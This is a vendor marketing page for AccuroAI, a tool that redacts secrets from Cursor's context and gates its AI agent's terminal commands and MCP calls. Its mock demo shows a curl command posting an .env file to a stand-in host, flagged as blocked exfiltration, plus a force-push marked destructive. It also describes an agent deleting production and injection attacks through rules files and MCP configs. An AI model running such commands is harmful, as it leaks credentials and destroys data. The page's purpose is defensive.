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AccuroAI/Data Security
Secure Cursor without slowing developers.
Inline inspection for everything Cursor sends and does — repository context to OpenAI, Anthropic, Google and xAI models, agent terminal commands, background agents, and the MCP servers in .cursor/mcp.json. Secrets and protected source stay on the machine.
ConsoleEndpoint · Cursorpayments-api
$cursor agent"refactor the payments retry logic and add tests"
Context assembled on device0/5 files
Select a file to see why it was masked or sent.
Agent actions · gated before execution
bash › curl -X POST https://hooks.example/x -d @.envExfiltration patternBlocked
bash › git push --force origin mainDestructive · routed to ownerApproval required
3 secrets held on device240 PII rows tokenised5 files → model34 ms
Sound familiar?

The problems this exists to solve.

The prompt is the repository
Cursor’s Tab, Composer and Agent modes send files, diffs and search results as context by design. An .env in the workspace, a customer CSV in fixtures, a proprietary algorithm — all eligible context unless something intervenes on the device.
The agent has a terminal
In agent mode Cursor executes commands. The PocketOS incident in April 2026 — a Cursor agent in staging found an over-scoped API token and deleted production and its backups in nine seconds — is what an ungated terminal looks like.
MCP and rules files are attack surface
In 2025 researchers disclosed CVE-2025-54135 (“CurXecute”) and CVE-2025-54136 (“MCPoison”), both turning Cursor’s MCP configuration into code execution, and the “Rules File Backdoor” technique hid instructions in rules files. All were patched; the pattern remains.
Capabilities
Built for enterprise AI.
Context scanning before upload
Secrets, keys and protected source paths are redacted from the context Cursor assembles — before it reaches any model provider.
Agent command gating
Cursor’s agent runs terminal commands. Destructive ones — deletes, force-pushes, credential use, outbound posts — require approval and are logged.
MCP server governance
Every server in .cursor/mcp.json discovered, allowlisted or quarantined; every tool call inspected at argument level.
Rules-file and injection defence
.cursor/rules, AGENTS.md and fetched content are injection intake points. Hidden instructions are detected before the agent acts on them.
In practice

How it works for your team, day to day.

01

Inspection on the device, not the proxy

Cursor talks to several model providers and to local MCP servers over stdio; a network proxy sees encrypted traffic at best and local tool calls not at all. AccuroAI’s endpoint coverage inspects the context Cursor assembles and the actions its agent takes on the machine itself — 40+ classifiers and 60+ secret types at under 38 ms p99 — so developers notice nothing and the raw values never leave.

Works across Cursor’s model providers and Privacy Mode settings
Covers local stdio MCP servers the network cannot see
Redact by default; block only where policy says so
02

Agent actions gated before they run

Commands Cursor’s agent proposes are classified before execution. Reads and builds flow; deletes, force-pushes, credential use and outbound requests to unreviewed domains wait for a human, with the decision logged. Auto-run settings do not bypass the gate, because it sits below the editor.

Destructive-action classes defined once, enforced per repository
Approval recorded with user, command and outcome
Kill switch revokes what the agent holds, not just the session
03

MCP servers and rules files under policy

Servers declared in .cursor/mcp.json are discovered per device, matched against the catalog, and allowlisted or quarantined; manifests are pinned so a changed tool description re-triggers review. Rules files and fetched content are scanned for hidden instructions, and tool calls are evaluated at argument level.

Shadow MCP servers surfaced per developer
Tool-descriptor drift and name collisions flagged
Injection in rules, docs and web content detected before the agent acts
FAQ

The questions we hear most.

Doesn’t Cursor’s Privacy Mode already protect our code?

Privacy Mode governs what Cursor and its providers retain after your code arrives. AccuroAI governs what arrives — secrets and protected source are redacted on the device first — and it covers the agent’s actions and MCP calls, which retention settings do not touch.

Will this slow down Tab completions or the agent?

Inspection runs under 38 ms at p99, below the threshold developers perceive next to model latency. Policies default to redact rather than block, so work continues.

Can we allow Cursor for some repositories and not others?

Yes. Policies are per group and per repository path — protected source trees can be excluded from context entirely while the rest of the codebase stays available.

Do you cover Cursor’s background agents and other IDEs?

Background agents run with repository and GitHub access and are governed through the same agent-action and MCP controls. The same policy engine covers Claude Code, GitHub Copilot, Windsurf and the other assistants your engineers use.

Related
Data Security
Secure Claude conversations.
Inline inspection of every Claude prompt and response — claude.ai, API, claude-code, and MCP-enabled tools. PII, PHI, source, and customer data never leaves your perimeter.
Learn more →
Solution
Ship faster with AI. Keep the repo at home.
Claude Code, Copilot, and Cursor don’t receive pasted snippets — they receive your repository as context, credentials and all. AccuroAI scans what leaves each developer machine, governs what agents may execute, and keeps the productivity without donating the codebase.
Learn more →
Solution
Govern every MCP server your agents touch.
MCP gives AI direct access to your file systems, databases, and APIs — usually wired up in a thirty-second config edit nobody reviews. AccuroAI discovers every server, inspects every tool call, and turns MCP from your fastest-growing blind spot into a governed surface.
Learn more →
Stop guessing. Start governing.

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